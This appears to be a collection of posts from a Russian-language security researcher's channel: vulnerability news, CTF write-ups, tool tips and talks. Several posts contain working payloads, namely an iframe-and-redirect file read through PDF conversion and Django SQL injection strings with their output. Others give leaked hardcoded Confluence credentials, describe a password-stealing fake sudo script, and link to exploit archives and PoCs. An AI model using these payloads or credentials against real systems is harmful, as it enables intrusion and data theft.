Basic concepts of cybersecurity and programming. All content is published for introductory purposes. The author urges you to love each other. Git: https://github.com/rive-n Stackoverflow: https://stackoverflow.com/users/14683725/r1v3n
Когда нибудь слышали про ошибки во время конвертации из .html в .pdf? Нет? Тогда советую ознакомиться с видом уязвимостей под названием Server Side XSS (Dynamic PDF). Обычно, уязвимость этого рода приводит к возможности совершения запросов от имени сервера (SSRF) и в худшем случае - к чтению локальных файлов. Но, так получилось, что иногда дефолтные пейлоады для чтения локальных файлов не работают по какой-то причине. \nЧто же, ресерчер по имени jakedmurphy1 обнаружил интересное поведение, которое позволяет в большинстве случаев обойти ограничение на чтение файлов следующим образом:\n1. В .html документ, который будет конвертирован в .pdf помещается следующая полезная нагрузка:\n<iframe src=\'http[s]://<your-server>/<your_php_file>?a=file:////etc/passwd\'/>\n2. На сервере <your-server> размещается следующий .php код:\n<?php\n$loc = $_GET[\'a\'];\nheader(\'Location: \'.$loc);\n?>\nПосле того, как триггернется Server-Side XSS, мы сможем получить содержимое файла, указанное внутри аргумента a.
Йо. Недавно наткнулся на пост Егора Богомолова (@empty_jack) в котором говорилось об эксплуатации LFI через фичу Nginx body buffering. И так меня впечатлила эта бага, что я решил сделать полноценный ресерч на тему подобных чейнов. На удивление, их оказалось и вправду много и я потратил достаточно времени и сил на то, чтоб найти самые интересные из них и сделать полноценный информативный доклад. \nПлюс ко всему, нашел способ с помощью которого можно крафтить валидные пейлоады для удаления стопперов. Проверял только в случае с чейном из лабы, возможно с другими не сработает (по идее должен)\nНаписал лабы, выступил с презентацией. \nСкачать лабы можно тут:\nhttps://github.com/rive-n/php-lfi-race-labs\nТам сразу есть эксплойты и ридмиха с тем, что за баги/ какой чейн.\nПреза в посте
Контейнеры и виртуализация.\nВиртуализация:\nКак именно работает виртуализация:\nhttps://www.ibm.com/ru-ru/cloud/learn/virtual-machines\nВидео из ссылки выше о том, как работают гипервизоры и какого типа бывают:\nhttps://www.youtube.com/watch?v=FZR0rG3HKIk\nАрхитектурное сравнение контейнеров и виртуальных машин:\nhttps://docs.microsoft.com/ru-ru/virtualization/windowscontainers/about/containers-vs-vm\nКонтейнеры:\nЧто за ядро используется внутри Docker images:\nhttps://stackoverflow.com/questions/32841982/how-can-docker-run-distros-with-different-kernels\nПринципы работы докера:\nhttps://stackoverflow.com/questions/16047306/how-is-docker-different-from-a-virtual-machine\nИспользование Union Mount / AUFS в докере:\nhttps://jessicagreben.medium.com/digging-into-docker-layers-c22f948ed612\nОфициальная документация к AUFS / OverlayFS:\nhttps://docs.docker.com/storage/storagedriver/aufs-driver/\nhttps://docs.docker.com/storage/storagedriver/overlayfs-driver/
Не могу не написать про прекрасный эмулятор терминала, который использует под капотом ИИ, так еще и написан на Rust!\nРечь идет про Warp. Терминальный эмулятор, который использует GPU Based Rendering (прям как Alacritty, речь о котором шла тут), но куда проще конфигурируется и может быть использовал сразу после установки (прям как ITerm).\nЯ достаточно долго сидел на Alacritty и могу сказать одно - посидев день на Warp я сразу же удалил Alacritty и все то, что связывало меня с данным эмулятором. Свяазано это с тем, что Warp банально удобнее и поставляет те фишки, речь о которых и не шла в Alacritty.\nИз того, что может заинтересовать:\n📶 Возможность редактировать мульти-лайны;\n При написании нескольких команд, есть возможность редактировать сразу их все вместе взятые, как в какой-нибудь IDE или в текстовом редакторе.\n📶 ИИ под капотом; \n Есть возможность задать ИИ вопрос о линуксе, на что он вернет подсказку. Очень удобно, можно не лезть в гугл!\n📶 Разделение результатов выполнения команд на плашки;\n Когда сидишь в терминале круглыми сутками, важным аспектом является восприятие информации. И с этим помогает Warp прямиком из коробки! Все результаты выполнения разделены на плашки и у каждой плашки - свое меню, позволяющее скопировать результат выполнения или скопировать команду.\n📶 Интерактивная помощь при вводе флагов для команд;\n После ввода команды, можно нажать на TAB, откроется окошко, в котором можно прочитать об опциях, доступных для той или иной тулзы. \n📶 Можно работать в 1 терминале командой!\n Честно говоря, пока не успел воспользоваться этой фишкой, но в доке и в видео видел такую возможность. Не очень полезно, но прикольно. Своего рода screen на максималках.\n📶 При прокрутке результатов выполнения - промпты снизу и сверху!\n Когда исполняется команда - сверху остается command prompt с самой командой, ниже - результаты выполнения, а под ними - плашка для ввода команды. Эти плашки закреплены, что не позволяет потеряться в информации.\nВ настоящий момент я использую следующую сборку:\nWarp + Starship + Zsh. Сборку подсмотрел тут. Не пожалел, что установил Starship вместо какого-нибудь "Oh my Zsh". Starship крайне гибок и удобен в настройке. Гайд по настройке может быть найден в документации.\nЕсли будете устанавливать, имейте ввиду: для того чтоб кастомные темы (к примеру из Oh My Zsh или Starship) работали - нужно сделать следующее:\n1. Перейти в настройки;\n2. Перейти в Features;\n3. Включить опцию PS1 (Honor user\'s custom prompt). \nИз минусов - собирается крайне много спорной статистики. Прочитать подробнее можно тут.
Слили рабочий 0day для получения удаленного исполнения кода в ядре Java Spring. Какой-то чувак применил его на ГосУслуги. Помянем? https://share.vx-underground.org/ - Пароль от архива: infected
Если вам вдруг тоже было интересно, как именно работает под капотом технология контейнеризации, то советую ознакомиться с этим постом.\nНе так давно я решил упороться по некоторым штукам, поставляемых ядром линукс. К примеру - unshare, cgroups, apparmor, capabilities and etc. Почти все это используется для реализации изолированных окружений, которые, в целом, могут быть названы контейнером.\nСами контейнеры, если мы говорим о таком вендоре, как Docker, работают на основе технологий, описанных выше, а также используют некоторый сисколлы, на типе: fork, prctl, clone и другие. Неплохой разбор относительно того, что происходит после запуска контейнеров, может быть найден в видео от LiveOverflow (тык). Понятное дело, что это лишь вершина айсберга. Для того, чтоб сложилась полная картина мира, мне пришлось потратить достаточно большое количество времени на своего рода ресерч. В конце-концов, я нашел выжимку по namespaces, ознакомиться можно тут. \nНо если этого вдруг будет мало, то вот весь перечень материалов, которые были использованы мной для полного ознакомления с тем, как работают неймспейсы, что и куда мапится и так далее:\n1. Цикл статей по namespaces. \n2. Более глубокое погружение в недра линукса - ознакомление с необходимыми сисколами.\n3. seccomp в контексте контейнеров.\n4. Контрольные группы - cgroups v1 - руководство для чайников.\n5. cgroupsv1 vs cgroup v2.\n6. Создаем свою контрольную группу.\n7. Linux kernel Namespaces and cgroups - resource management.\n8. Создаем свои изолированные среды с использованием unshare.\n9. PID Namespace - изоляция дерева процессов.\n10. Примеры кода на языке программирования Си, позволяющего исполнять что-либо в контексте namespaces.\n11. Unshare - man (самое полезная дока за всю мою жизнь).\nК посту будет прекреплена моя преза по созданию изолированных окружений с использованием unshare. Там еще есть совсем немного про контрольные группы. Приятного ознакомления :)
Что интересного произошло за сентябрь 2022:\n1. Было зарегистрировано 2 новые CVE, которые в совокупности дают чейн, позволяющий произвести удаленное исполнение кода на Zimbra server. \nCVE-2022-27925 - ZIP Slip, для эксплуатации нужна учетка админа + CVE-2022-37042 - Байпас авторизации. Можно было не указать токен авторизации в запросе и получить доступ к некоторым возможностям администратора.\n2. GifShell - новый вектор атак на Microsoft Teams, состоящий из чейна недоработок. По дефолту, сотрудники компании не могут отсылать незнакомцам вложения. Но если записать трафик и попробовать повторно отправить записанный пакет, изменив уникальный идентификатор чата, то окажется - что вложения отсылать можно. Плюс ко всему, можно изменять все поля в JSON\'e, в котором, как оказалось, хранятся 2 важных ключа: title - название файла, которое будет отображаться в чате, baseUrl - url, откуда будет получен файл. baseUrl также может являться диплинком, что позволяет атакующему с легкостью украсть Ntlm hash через запуск некоторых приложений. Также, есть возможность получения удаленного исполнения кода посредствам загрузки стейджера. Подробнее можно ознакомиться тут и тут.\n3. Gitlab Import RCE - удаленное исполнение кода в процессе импорта проекта в гитлабе. CVE-2022-2185 - суть заключается в том, что атакующий может заставить гитлаб в процессе формирования пайплайна сходить на поддельный сервер, спарсить значения из поддельного graphql и проэксплуатировать command_injection.\n4. GitLab - Path traversal to RCE - CVE-2022-0831 - после авторизации можно было обратиться на ручку, которая была уязвима к path traversal из-за неправильной фильтрации по regex. Логика была такова: взять из строки все, кроме слешей. По итогу это обходилось обычным urlencode. Как получается RCE? Эта ручка поддерживает метод PUT и загрузку файлов. Таким образом, можно в любое место загрузить свой файл. К примеру - id_rsa.pub. \n5. JuicyPotato is back! Скачать POC можно тут. Ознакомиться с ресерчем тут. \n6. BitBucket RCE. \n7. IKE RCE - CVE-2022-34721.\n#news
GraphQL - это не так больно, как кажется. \nВся грязь, которую можно натворить с использованием GraphQL базируется на паре приемов. \nВ последнее время очень часто сталкивался с GraphQL на проектах и достаточно успешно находил в сервисах кучу баг. \nGraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type; \nВесь пентест GraphQL строится вокруг Интроспекции. Интроспекция - это ничто иное, как описание всего, до чего мы можем дотянуться. Аналогия - information_schema. \nБлагодаря интроспекции можно получить:\n1. query - ничто иное, как GET в протоколе HTTP/HTTPS. Получаем данные, но изменять их не можем.\n2. mutation - POST/PUT/DELETE etc. Все, что может изменять данные тем или иным образом. \nБывает так, что запрос интроспекции отключен некоторыми правилами приложения для обеспечения большей безопасности. В этом случае можно получить интроспекцию с помощью активного сканирования. Для этого есть инструмент под названием clairvoyance. Не буду описывать процесс установки, там все достаточно тривиально. \nПосле получения Интроспекции переходим в burp и устанавливаем 2 расширения:\n1. Raider - супер удобное расширение, которое позволяет в удобном виде видоизменять GraphQL запросы. Форматирование и экранирование производится благодаря этому расширению.\n2. Inql - основной инструмент для построения запросов. Аналогия - wsdler. На основе интроспекции получаем набор мутаций и запросов.\nЧто может быть найдено в процессе тестирования?\nВсе зависит от стека и от реализации. Зачастую - Broken access control, stored cross-site scripting, sql injections. \n*Под звездочкой*:\nНедавно наткнулся на интересную реализацию GraphQL. Представьте, что у вас есть не 1 большой связный граф, как это обычно бывает, а несколько. При работе с GraphQL необходимо обращать внимание на ошибки и на заголовки запроса. К примеру, есть интересный заголовок: Execution-Context, который, как ни странно, отвечает за контекст (за граф) в котором будет выполнен запрос. Проще говоря - это своего рода ролевая модель, только вместо ролей - графы. \nЧто делать в случае, когда наткнулись на Execution-Context? После получения валидного запроса к GraphQL отправляем все это дело в burp intruder и фаззим значение данного заголовка. Далее - фильтрация по Content-Length.\nUpdate: обязательно добавить в словарик:\n/voyager - рендеринг интроспекции. Можно украсть Интроспекцию и отрендерить самому тут.\n/graphql - ручка, на которой обычно располагается graphql.
Был разработчиком задания Baby Cached View. У многих от него очень сильно горело, так как многие пытались сбрутать хеши и зайти под полученными учетными данными. \nДелать нужно было совсем не так, вот райтап:\nhttps://riven.pw/posts/ctf/ctfdev/posts/new_post/\nUPD: Немного изменил пост, добавил красивых картиночек (:
Так вот, о чем видос:\nСуществует так называемая самореферентная формула, открытая Джеффом Таппером и в последствии названная Формулой Таппера, которая позволяет изобразить себя при отображении на плоскости. \nФормулу можно использовать для воспроизведения произвольных изображений, при этом она не будет содержать никаких ссылок на себя.\nКак именно это работает - можно прочитать по ссылке, закрепленной в 1ой кнопке. \nНу и сам анонс - я решил переехать с ресурса telegra.ph, так как он жутко не удобный и не позволяет мне делать то, что необходимо, для нормальной редакции постов. \nПоэтому, встречайте:\nhttps://riven.pw!
На выходных, в период с 4 сентября 2021 года по 5 сентября 2021 года с перерывом в час, состоялся хаккатон, на котором участникам предлагалось взломать платформу электронного голосования РФ. Прочитать о данном ивенте можно тут. \nТак получилось, что я попал в таблицу лидеров, обнаружив какое-то количество уязвимостей в данной системе. К сожалению, я не могу публиковать подробности, т.к это запрещено требованиями ЦИК. Но, если данный регламент все-таки изменится - ждите от меня статью!
Слили рабочий 0day для получения удаленного исполнения кода в ядре Java Spring.\nКакой-то чувак применил его на ГосУслуги. Помянем?\nhttps://share.vx-underground.org/ - Пароль от архива: infected
Принимал участие в разработке заданий на еще 1 соревнования от ребят из BSS, пост со всей информацией:\nhttps://t.me/bank_security_challenge/3\nЗадания обещают быть интересными, советую принять участие :)
Недавно столкнулся с проблемой, когда есть доступ к хипдампу джавы через Spring boot actuator, но дамп весит очень много и не может быть распаршен самыми распространенными инструментами.\nРешил написать о том, чем можно попробовать открыть и проанализировать подобные файлы и что делать, когда ничего не получается. Прочитать можно тут.
В большинстве популярных дистрибутивов есть возможность сделать LPE через polkit.\nПрочитать подробнее:\nhttps://www.openwall.com/lists/oss-security/2022/01/25/11\nЭксплойт доступен в паблике:\nhttps://github.com/berdav/CVE-2021-4034/blob/main/cve-2021-4034.c\nHackTheBox, спасайся ...\nUPD: Если под вашу систему еще не вышел патч, то временно можно убрать suid bit с /usr/bin/pkexec
Конец года - это отличная возможность разобрать весь завал из вкладок, оставленных на "почитать на потом". Делюсь всем тем, что удалось нарыть:\n⏺ Методы исполнения в Python окружениях (методы выхода из sandbox\'ов). Очень полезно на всяких CTF и бывает помогает для решения тачек на Hack The Box. Из прям крутого, что можно записать в заметки: \n ⏺Есть возможность исполнения с помощью eval(), но нет возможности вызвать compile().\n ⏺Python bytecode. Вот тут я упоминал, что можно использовать штуку под названием dis.dis(), но без подробностей. По ссылке подробности, такие, как: написание собственного дизассмеблера, информация о том, как хранятся опкоды и что такое опаргументы, что такое Stack/Heap, как и где хранятся объекты и что происходит внутри CPython.\n⏺ Крадем пароль от супер-пользователя на u*nix like системах. Если вкратце, то весь трюк заключается в том, что атакующий может подменить исполняемый файл (type sudo) на bash script, который будет вести себя схожим образом, используя утилиту read, скрывая вводимые данные с помощью флага -s и сохраняя пароль в локальный файл или отсылая его на сервер, подконтрольный атакующему. Немного видоизмененный скрипт доступен по следующей ссылке.\n⏺ Отличный гайд по написанию несложных утилит под esp32.\n⏺Алгоритмы и структуры данных с примерами на языке программирования Python.\n⏺ Абстрактные синтаксические деревья, разбираемся на примере Python.\n⏺ Yet another SSTI в pugjs.\n⏺Envoy heap vulnerability - уязвимость возникла в следствии неправильной обработки данных во время процесса HTTP/2 -> HTTP/1 forwarding.
Очередная порция новостей. На этот раз за октябрь 2022!\n1. GBK Encoding - CRLF Injection to Reflected XSS. GBK Encoding - расширение для набора символов под идентификатором GB 2312, созданное для упрощения Китайского. Следующий набор символов представляет из себя ничто иное, как всем известную комбинацию: \\r\\n - 嘍嘊. Этим и воспользовался исследователь, за что получил 6000$ от Microsoft. Прочитать подробнее можно тут.\n2. CSTI to Stored XSS in Microsoft Azure SFXv1 - Исследователь обнаружил несколько недоработок, в следствии которых ему удалось проэксплуатировать CSTI, получить Stored-XSS для того, чтоб в дальнейшем была возможность управлять кластером или определенными его участками (нодами) от имени администратора. \n3. Text4Shell - уязвимость, затрагивающая компонент Apache Commons Text. Уязвимость возникла из-за недостаточной обработки данных, что впоследствии приводило к возможности исполнения произвольного кода на сервере, но только в определенных обстоятельствах. Для эксплуатации необходимо, чтоб на сервере был следующий сетап:\n3.1 Создавался объект типа StringSubstitutor;\n3.2 Вызывалась одна функция из перечня: [replace, replaceIn]; \n3.3 Был установлен движок обработки скриптов, к примеру - Nashorn для JDK <= 15 и JEXL для версий свыше 15;\n3.4 Пользовательские данные без обработки попадали в одну из функций из пункта 3.2.\n4. Forti*Auth bypass - Байпас авторизации в таких продуктах, как: FortiOS, FortiProxy, FortiSwitchManager. Уязвимость возникла из-за неправильной обработки заголовков. Благодаря чему, атакующий мог манипулировать заголовком Forfard и заголовком User-Agent, что в совокупности дало возможность обойти авторизацию и получить неправомерный доступ к системам.\n5. GitLab Remote code execution (make gitlab great again) - Уязвимость, базирующая на возможности перезаписи объектов, в следствии чего атакующий может получить удаленное исполнение кода через сериализованный RESP объект, расположенный в кэше Redis.\n6. Microsoft Office 365 Message Encryption (OME) utilitises Electronic Codebook (ECB) mode of operation - уязвимость, возникшая из-за Electronic Codebook (ECB) mode of operation. \n#news
Байпас авторизации в продуктах #VMware: https://twitter.com/VietPetrus/status/1554485970514608128 Пок обещают опубликовать позже, но пока есть только скрин и митигейшн
Десер + фишки асинка, прекрасный чейн: \nhttps://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
Принимал участие в разработке задания Proxyhell. \nВсего задание было решено 3 командами. \nРайтап, опубликованный @sh1y0, можно прочитать тут.\nЕсли вкратце - было дано несколько конфигурационных файлов, так как сеть приложения состояла из нескольких прокси серверов:\n1. Varnish; \n2. Apache в качестве реверс прокси;\n3. Nginx;\n4. Nginx ldap; \nНа 3 ноде (Nginx) была проверка на то, что задан заголовок X-Real-Ip, который, якобы, должен свидетельствовать о том, что запрос сделан не из локальной сети. Если данный заголовок задан - Nginx отдаст 403 код. \nДля того чтоб решить данное задание необходимо было ознакомиться с ошибкой в механизме Hop by hop. \nПосле успешной эксплуатации необходимо было найти уязвимость в Nginx ldap, о которой было крайне много шуму несколько месяцев назад. Суть заключалась в том, что сервер позволяет указать, куда именно будет делаться запрос с попыткой авторизации. При попытке авторизации Nginx передаст имя пользователя и пароль в открытом виде. \nРайтап классный, спасибо всем, кто принимал участие в CTFZone/OFFZone 2022!
Я просто оставлю это здесь:\nhttps://hackerone.com/reports/1685822
Я тут хотел кое-что заанонсить, но очень противный человек под ником @mlsdmitry вкинул идею:\n"Сделай какой-нибудь челлендж, после прохождения которого ты получаешь ссылку...Но не base64..." \nКто я такой, чтоб не согласиться на подобную авантюру? \nИ, удивительно, это не WEB! \nВ общем, задачка скорее фана ради, нежели ради пота. Для решения можно посмотреть видосик.
Не получается обойти пиннинг с использованием какого-то скрипта или с использованием objection?\nНе беда. Какой-то энтузиаст собрал воедино несколько проверенных скриптов для обхода пиннинга:\nhttps://github.com/httptoolkit/frida-android-unpinning
Кажется очередной узконаправленный 0?\nhttps://github.com/AgainstTheWest/NginxDay\nПредположительно в ldap демоне нжинкс. Больше информации пока нет
Как я был удивлен когда узнал о том, что у майкрософта есть неплохие мануалы (или курсы, называйте как хотите) для начинающих по data science, machine learning и даже по Web Dev! \nWeb dev - https://github.com/microsoft/Web-Dev-For-Beginners\nDS - https://github.com/microsoft/Data-Science-For-Beginners\nML - https://github.com/microsoft/ML-For-Beginners
🎙 Это, скорее всего, последний технический пост в 2022 году. Давно ничего не постил про свежие и интересные/нашумевшие уязвимости. Самое время чтоб исправить ситуацию:\nGitLab - за последние пару месяцев на hackerone насыпалось много репортов. Среди них - GitLab XSS, GitLab local repo include, GitLab XSS with CSP bypass, Yet another GitLab RCE via GitLab import project. Из самого интересного, с чем я бы советовал ознакомиться - это RCE и local repo include. RCE достигается через старую функцию (ссылка на репорт есть в этом посте), которая занимается парсингом объекта с последующим исполнением команд в Redis. Парсинг происходит посредстам получения некоторых атрибутов (to_s, bytesize). Для создания объекта исследователь использовал возможности библиотеки Sawyer, которая позволяет представлять хеши в виде объектов. Local repo include - не проверялась схема и криво парсился URI. При передачи следующей полезной нагрузки: file://doesnotexists/var/opt/gitlab/git-data/repositories/@hashed/b1/74/b174103b399555239923697fbe124faa61de4d441bd5c5678275eb0a5a27a562.git, согласно правилам, описанным в коде, происходила замена последовательности символов "://" на "://oauth2:#{context.configuration.access_token}@". По итогу, на выходе получалось следующее: file://oauth2:#{context.configuration.access_token}@doesnotexists/var/opt/gitlab/git-data/repositories/@hashed/b1/74/b174103b399555239923697fbe124faa61de4d441bd5c5678275eb0a5a27a562.git и парсер брал лишь часть, начинающуюся с "/var/opt". (Ссылку на репорт оставлял еще тут).\nProxyNotShell - уязвимость, на глубокое понимание которой может уйти очень много времени. Смысл заключается в том, что атакующий создает объект типа Type, после приводит его к другому типу с помощью implicit/explicit каста, к примеру к XamlReader и после - вызывает метод Parse. Внутрь метода Parse в качестве аргумента попадает XAML, указанный в теге <s>. Внутри XAML\'a - полезная нагрузка, позволяющая получить удаленное исполнение кода. По итогу, чейн: Создание объекта типа Type -> каст объекта к типу XamlReader -> RCE через вызов метода Parse. Чейн потрясающий, очень советую к разбору.\nOracleAccessManager - RCE via Java deserialization. Тут и говорить нечего. Самый обычный десер, как в каких-нибудь лабах.
CVE-2022-34265 - Django SQLI via Trunc() && Extract() functions; \nПрочитать подробнее можно тут. \nДаже на хабре написали о том, что это за уязвимость и как эксплуатировать! \nЖаль, конечно, что местный сплойт не очень работает в реальных (мой тестовый стенд вполне реален!) условиях.\nМодель для базы данных выглядит максимально просто:\nclass Test(models.Model):\n username = models.CharField(max_length=200)\n date = models.DateField(verbose_name=\'date\')\nSQL запросы для функций весьма схожи, отличаются лишь в вызове TRUNC или EXTRACT.\nК примеру, для функции Trunc(kind) формируется следующий SQL запрос:\nSELECT "testapp_test"."id", "testapp_test"."username", "testapp_test"."date", DATE_TRUNC(\'year\', "testapp_test"."date") AS "month" FROM "testapp_test"\nСледующим образом выглядит вызов уязвимой функции:\nTest.objects.annotate(month=Trunc(\'date\',kind="EXPLOIT (в нашем случае - year)"))\nЕсли работают stacked query - все отлично:\ndata = Test.objects.annotate(month=Trunc(\'date\',kind="year\', \\"testapp_test\\".\\"date\\") FROM \\"testapp_test\\" UNION SELECT 1,\'test\',null,null;insert into \\"testapp_test\\"(id, username, date) values (2, \'test\', LOCALTIMESTAMP);-- "))\nЕсли нет, то все куда сложнее, но проэксплуатировать все равно возможно.\nСледующим образом выглядит сформировавшийся SQL запрос для функции Extract(lookup_name):\nSELECT "testapp_test"."id", "testapp_test"."username", "testapp_test"."date", EXTRACT(\'EXPLOIT\' FROM "testapp_test"."date") AS "start_year" FROM "testapp_test"\nУязвимый код:\nTest.objects.annotate(start_year=Extract(\'date\', lookup_name=\'EXPLOIT\'))\nПример эксплойта:\ndata = Test.objects.annotate(start_year=Extract(\'date\', lookup_name="year\' from \\"testapp_test\\".\\"date\\") from \\"testapp_test\\"; insert into \\"testapp_test\\"(id, username, date) values (1337, \'test\', LOCALTIMESTAMP) -- "))\nРезультат:\n id | username | date\n------+----------+------------\n 1 | test | 2022-07-06\n 3 | test | 2022-07-06\n 2 | test | 2022-07-06\n 1337 | test | 2022-07-06
Из интересного за последнее время:\n1. https://github.com/ydb-platform/ydb - Яндекс выкатили в опенсорс свою наработку - систему управления базами данных. \nО релизе на хабре: https://habr.com/ru/company/yandex/blog/660271/\n2. Memray также выкатили исходники - https://github.com/bloomberg/memray. Это достаточно интересный проект, позволяющий получить информацию о текущих запущенных процессах Python. Цитата из ридмихи: \n"It can track memory allocations in Python code, in native extension modules, and in the Python interpreter itself. It can generate several different types of reports to help you analyze the captured memory usage data."\n3. Python 3.11 - новый интерпретатор faster CPython. Обещают прирост скорости за счет улучшения некоторых особенностей: https://habr.com/ru/post/662087/
Продолжаю вкидывать интересные тулзы. На очереди - eyeballer.\nДумаю многие слышали про инструменты, позволяющие быстро пройтись по определенному скоупу и на выходе получить скриншоты. К примеру, есть тулза под названием aquatone, которая использует headless chromium для получения скринов. Но когда скоуп огромен - иногда бывает сложно или крайне лениво сортировать результаты по определенному паттерну и хотелось бы сразу понять, за что можно зацепиться: за старые приложения, приложения, подверженные свежим уязвимостям и так далее.\neyeballer - инструмент, который использует TensorFlow в совокупности с PIL. Это необходимо для того, чтоб на выходе получить отсортированные результаты того же aquatone, к примеру, согласно следующим паттернам:\n1. Кастомные 404;\n2. "Припаркованные" странички;\n3. Формы авторизации.\nНа гите сразу находятся "веса" для того, чтоб TensorFlow работал как надо. Но можно натренировать нейронку самому, если у Вас вдруг набралось много скринов и есть много времени. Так как это обычный .py скрипт - устанавливается все крайне просто. Использовать с весами с гита можно из коробки.
Кажется очередной узконаправленный 0? https://github.com/AgainstTheWest/NginxDay Предположительно в ldap демоне нжинкс. Больше информации пока нет
Выделил для себя топ интересных докладов с PHD, с которыми советую ознакомиться:\n1. Поставить или положить. Атаки на цепочки поставок - Рассказывается о том, что делать если получили креды от непривилегированной учетки для GitLab, но при этом настроен CI/CD пайплайн и используется TeamCity для сборки и дальнейшего получения артефактов. \n2. Обход сигнатурного WAF - Рассказывается о том, как можно расщеплять нагрузку чтоб не стриггерить правила для WAF. Мельком затрагиваются методы машинного обучения для обнаружения вторжений. \n3. Охотимся за современными атаками на инфраструктуру Active Directory - Коллеги подробно рассказывают об атаках на A/D инфраструктуру. \n4. Domain admin blitzkrieg - fast RedTeam - рассказывается об интересном подходе для быстрого получения максимальной выгоды за ночь.
Очередная забавная история. Теперь с получением удаленного исполнения кода на роутере.\nНа старой квартире стоял роутер от Xiaomi. Дело было вечером, делать было нечего. Начал исследовать, наткнулся на интересный вид путей приложения: /cgi-bin/luci/;stok=d714f92968bb8cc6466f87c8618dfc30. Ну а дальше - как на HackTheBox. Чтоб понять что перед нами - гуглим и натыкаемся на следующий репорт. Становится понятно, что есть возможность получить удаленное исполнение кода, но ссылок на POC нет. \nНо если хорошо поискать, то можно найти не только POC, но еще и полноценный ресерч, в котором показано и объяснено какие именно запросы приводят к возникновению удаленного исполнения кода от имени супер-пользователя. Ссылка на статью.
🪲 27 проектов от VK ждут вас на платформе BI.ZONE Bug Bounty!\nВстречайте программу bug bounty от VK — компании, которая не нуждается в представлении.\nВ скоуп входят «ВКонтакте», «Одноклассники», «Почта Mail.ru» и другие — 27 проектов с разной инфраструктурой и подходами к безопасности на любой вкус.\nЗа найденную уязвимость вы получите вознаграждение от 3 тыс. до 1,8 млн рублей в зависимости от уровня критичности угрозы.\nПрограмма уже доступна на нашей платформе. \nЧекайте скоуп и ловите баги!
https://habr.com/ru/post/671088/
2022 подходит к концу. Несмотря на то, что канал стал более серьезным местом, в которое я больше не спамлю своими мыслями или чем-то сугубо личным, я бы не хотел переставать подводить итоги года. Это уже стало своего рода традицией, что ли. \n2022 год - был крайне удивительным, сложным и запоминающимся для каждого. Несмотря на то, что год привнес в жизни людей много отрицательных эмоций, лично для меня этот год стал годом открытий и достижений. За 2022 я наконец разобрался с университетом, получил диплом о высшем образовании, продолжил развиваться в сферах Application Security / Pentest. И, могу сказать, что наконец чувствую себя достаточно уверенно в том деле, которым я занимаюсь. \nЗа этот год я провел достаточное количество ресерчей, если их так можно назвать. Открыл для себя просто невероятно много всего и, что самое главное - стал полноценной частью команды BI.ZONE. \nОтдельную благодарность я бы хотел выразить именно коллегам из компании BI.ZONE, которые не останавливаются перед преградами и всегда идут вперед, несмотря ни на что. Этот темп и эта уверенность позволяет мне всегда учиться чему то новому. \nВ этом году я участвовал в разработке некоторых ивентов и, что главное, сами ивенты были хорошо организованы, на них были собраны таски достаточно высокого уровня сложности, но что важнее - задачки были из реальных кейсов. Это классно, когда через призму ивентов можно поделиться с коллегами из других компаний своим опытом. \nВ общем, подводить итоги настолько насыщенного года крайне сложно, так как произошло и вправду крайне много всего. Напоследок, хотелось бы сказать следующее:\nВ 2023 я планирую продолжить заниматься своим делом и планирую продолжать развивать свое небольшое коммьюнити. Ну и без пожеланий никак - желаю каждому в 2023 году сталкиваться с задачами, которые позволят прокачать свои скиллы, побольше нулей и CVE.\nВсех с наступающим! 🥳
CVE-2022-26138 - Atlassian Confluence - Use of hardcoded credentials\nНикогда такого не было и вот опять. \nВ расширении, позволяющем создавать опросы и менеджить фидбеки, были обнаружены захардкоженные креды.\nПо дефолту создавался пользователь с именем disabledsystemuser и паролем disabled1system1user6708, который находился в группе пользователей: confluence-users\nУязвимые версии: 2.7.34, 2.7.35, 3.0.2 \nУязвимый пакет: maven-atlassian-external/com/atlassian/confluence/plugins/confluence-questions/3.0.2/confluence-questions-3.0.2.jar\nОфициально аккаунт создан для: "Помощи администраторам, которые переносят данные из приложения в Confluence Cloud"
Никак не было времени дочитать статью:\nhttps://xakep.ru/2017/04/01/templeos/\nВообще ось выглядит супер интересно. Особенно с учетом того, что написана энтузиастом. Одним, Карл.\nВы когда-нибудь могли себе представить, что вставленные в код пикчи будут обрабатываться как часть кода? \nИли как насчет того, чтоб редактировать графическое окружение, изменяя файлики необходимого формата? \nМожет когда-нибудь я доберусь до этой оси и поресерчу получше что в ней и как. А сейчас и так всего хватает. К прочтению - советую.
Байпас авторизации в продуктах #VMware:\nhttps://twitter.com/VietPetrus/status/1554485970514608128\nПок обещают опубликовать позже, но пока есть только скрин и митигейшн
🎰 Доступна полная программа OFFZONE 2022\n2 трека, 3 тематические зоны — 58 докладов и 3 воркшопа с отборным техническим контентом ждут вас уже на следующей неделе!\nСмотрите программу на сайте
История о недавнем случайном похеке.\nЯ недавно съехал в съемную квартиру, тут стоял старенький роутер [ДАННЫЕ УДАЛЕНЫ]. Роутер очень любил рвать соединения, отчего появилось желание его сменить. \nНо, как известно, чтоб сменить роутер надо знать некоторые настройки, которые провайдер обычно высылает в письме или предоставляет в договоре. Доступа к договору, понятное дело, тоже не было..\nНу и как то ночью я решил посмотреть, что именно за технологии использует роутер [ДАННЫЕ УДАЛЕНЫ]. Так получилось, что мне удалось обойти некоторые правила безопасности продукта [ДАННЫЕ УДАЛЕНЫ] и получить всю необходимую информацию для настройки нового роутера, т.е:\n1. ip\n2. mask\n3. gateway\n4. dns_primary\nВозможно, эти данные можно получить и как-то иначе, но я не задавался этим вопросом.\nБага позволяет получить куда больше инфы прямиком из админки. Постараюсь немного позже сделать разбор :)
Привет.\nhttps://github.com/jbaines-r7/through_the_wire - PoC на свежий нолик в atlassian confluence - OGNL Injection -> RCE без аутентификации.\nПатч: https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html\nЕсли не хотите переходить на какую-либо версию, можно пойти следующими путями:\n1. Фильтровать конструкции вида ${} (не всегда помогает, так как уже есть некоторые WAF bypass методы, известные со старых инцидентов)\n2. Удалить файл atlassian-confluence-<version>/confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar. Вместо него можно использовать файл xwork-1.0.3-atlassian-10.jar. Его можно получить из новых, запатченных версий. \nПроверить свой сервис можно с помощью логов:\n/opt/atlassian/confluence/logs/conf_access_log.<yyyy-mm-dd>.log
Интересный доклад про планировщик задач в Golang\nhttps://www.youtube.com/watch?v=rloqQY9CT8I
